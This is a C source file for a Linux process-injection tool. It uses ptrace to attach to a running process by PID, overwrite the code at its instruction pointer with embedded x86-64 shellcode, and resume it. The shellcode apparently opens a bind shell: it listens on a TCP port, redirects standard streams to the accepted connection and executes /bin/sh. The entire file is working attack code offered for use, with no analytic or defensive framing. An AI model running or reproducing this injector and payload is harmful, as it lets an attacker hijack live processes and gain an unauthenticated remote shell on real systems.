#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/user.h>
#include <sys/reg.h>

#define SHELLCODE_SIZE 87

unsigned char *shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05";

int inject_data(pid_t pid, unsigned char *src, void *dst, int len)
{
int i;
uint32_t *s = (uint32_t *)src;
uint32_t *d = (uint32_t *)dst;

for (i = 0; i < len; i += 4, s++, d++)
{
if ((ptrace(PTRACE_POKETEXT, pid, d, *s)) < 0)
{
perror("ptrace(POKETEXT):");
return -1;
}
}
return 0;
}

int main(int argc, char *argv[])
{
pid_t target;
struct user_regs_struct regs;
int syscall;
long dst;
if (argc != 2)
{
fprintf(stderr, "Usage:\n\t%s pid\n", argv[0]);
exit(1);
}

target = atoi(argv[1]);
printf("+ Tracing process %d\n", target);

if ((ptrace(PTRACE_ATTACH, target, NULL, NULL)) < 0)
{
perror("ptrace(ATTACH):");
exit(1);
}
printf("+ Waiting for process...\n");
wait(NULL);
printf("+ Getting Registers\n");

if ((ptrace(PTRACE_GETREGS, target, NULL, &regs)) < 0)
{
perror("ptrace(GETREGS):");
exit(1);
}

/* Inject code into current RPI position */

printf("+ Injecting shell code at %p\n", (void *)regs.rip);
inject_data(target, shellcode, (void *)regs.rip, SHELLCODE_SIZE);
regs.rip += 2;
printf("+ Setting instruction pointer to %p\n", (void *)regs.rip);

if ((ptrace(PTRACE_SETREGS, target, NULL, &regs)) < 0)
{
perror("ptrace(GETREGS):");
exit(1);
}
printf("+ Run it!\n");

if ((ptrace(PTRACE_DETACH, target, NULL, NULL)) < 0)
{
perror("ptrace(DETACH):");
exit(1);
}
return 0;
}